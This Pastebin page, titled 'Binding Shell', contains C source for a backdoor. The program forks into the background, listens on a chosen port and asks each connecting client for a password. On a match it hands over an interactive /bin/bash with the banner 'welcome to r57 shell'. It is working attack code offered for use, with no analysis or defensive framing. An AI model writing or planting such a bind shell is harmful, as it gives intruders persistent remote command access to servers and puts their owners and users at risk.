Advertisement
aljazara

Binding Shell

Mar 14th, 2014
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.06 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <netinet/in.h>
  6. #include <errno.h>
  7. int main(argc,argv)
  8. int argc;
  9. char **argv;
  10. {  
  11.  int sockfd, newfd;
  12.  char buf[30];
  13.  struct sockaddr_in remote;
  14.  if(fork() == 0) {
  15.  remote.sin_family = AF_INET;
  16.  remote.sin_port = htons(atoi(argv[1]));
  17.  remote.sin_addr.s_addr = htonl(INADDR_ANY);
  18.  sockfd = socket(AF_INET,SOCK_STREAM,0);
  19.  if(!sockfd) perror("socket error");
  20.  bind(sockfd, (struct sockaddr *)&remote, 0x10);
  21.  listen(sockfd, 5);
  22.  while(1)
  23.   {
  24.    newfd=accept(sockfd,0,0);
  25.    dup2(newfd,0);
  26.    dup2(newfd,1);
  27.    dup2(newfd,2);
  28.    write(newfd,"Password:",10);
  29.    read(newfd,buf,sizeof(buf));
  30.    if (!chpass(argv[2],buf))
  31.    system("echo welcome to r57 shell && /bin/bash -i");
  32.    else
  33.    fprintf(stderr,"Sorry");
  34.    close(newfd);
  35.   }
  36.  }
  37. }
  38. int chpass(char *base, char *entered) {
  39. int i;
  40. for(i=0;i<strlen(entered);i++)
  41. {
  42. if(entered[i] == '\n')
  43. entered[i] = '\0';
  44. if(entered[i] == '\r')
  45. entered[i] = '\0';
  46. }
  47. if (!strcmp(base,entered))
  48. return 0;
  49. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement